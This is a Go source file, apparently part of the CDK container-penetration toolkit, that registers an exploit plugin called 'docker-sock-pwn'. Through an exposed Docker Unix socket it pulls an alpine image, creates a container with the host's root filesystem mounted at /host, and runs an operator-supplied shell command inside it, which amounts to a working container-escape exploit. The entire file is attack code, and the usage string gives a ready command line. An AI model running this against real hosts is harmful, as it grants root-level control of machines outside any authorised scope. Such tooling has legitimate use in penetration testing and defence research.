// +build !no_docker_sock_pwn

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"log"
	"regexp"
	"strings"
)

// APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py
// curl --unix-socket /var/run/docker.sock http://127.0.0.1/info
func DockerAPIRun(path string, cmd string) error {
	cmd = strings.Replace(cmd, "\"", "\\\"", -1) // escape shell cmd
	cmd = strings.Replace(cmd, "\n", "\\n", -1) // escape shell cmd
	cmd = strings.Replace(cmd, "\t", "\\t", -1) // escape shell cmd
	payloadData := strings.Replace(dockerAPIHttpPostData, "<SHELL_CMD>", cmd, -1)

	log.Println(payloadData)
	ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/containers/create", payloadData)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to create container via unix socket http request."}
	}
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)

	// get container id
	pattern := regexp.MustCompile("[A-Fa-f0-9]{64}")
	params := pattern.FindStringSubmatch(ans)
	if len(params) > 0 {
		log.Println("container ID: ", params)
	} else {
		return errors.New("failed to get container ID after created.")
	}

	// start container
	containerID := params[0]
	log.Println("starting container:", containerID)
	ans, err = util.UnixHttpSend("post", path, "http://127.0.0.1/containers/"+containerID+"/start", "")
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to start container via unix socket http request."}
	}
	log.Println("finished.")
	return nil
}

func DockerAPIPull(path string, image string) error {
	log.Println("trying to pull image:", image)
	ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/images/create?fromImage="+strings.Replace(image, ":", "&tag=", -1), "")
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to pull docker image via unix socket http request."}
	}
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)
	return nil
}

func DockerSockExploit(sock string, cmd string) bool {
	err := CheckDockerSock(sock)
	if err != nil {
		log.Println(err)
		return false
	}
	err = DockerAPIPull(sock, "alpine:latest")
	if err != nil {
		log.Println(err)
		return false
	}
	err = DockerAPIRun(sock, cmd)
	if err != nil {
		log.Println(err)
		return false
	}
	return true
}

// plugin interface
type DINDAttackDeployS struct{}

func (p DINDAttackDeployS) Desc() string {
	return "Create and run <cmd> in a container with host root `/` mounted to container `/host` usage: ./cdk docker-sock-deploy <sock_path> <shell_cmd> example: ./cdk docker-sock-pwn /var/run/docker.sock \"touch /host/tmp/pwn-success\""
}

func (p DINDAttackDeployS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	sock := args[0]
	cmd := args[1]

	log.Println("checking docker socket:", sock)
	return DockerSockExploit(sock, cmd)
}

func init() {
	exploit := DINDAttackDeployS{}
	plugin.RegisterExploit("docker-sock-pwn", exploit)
}
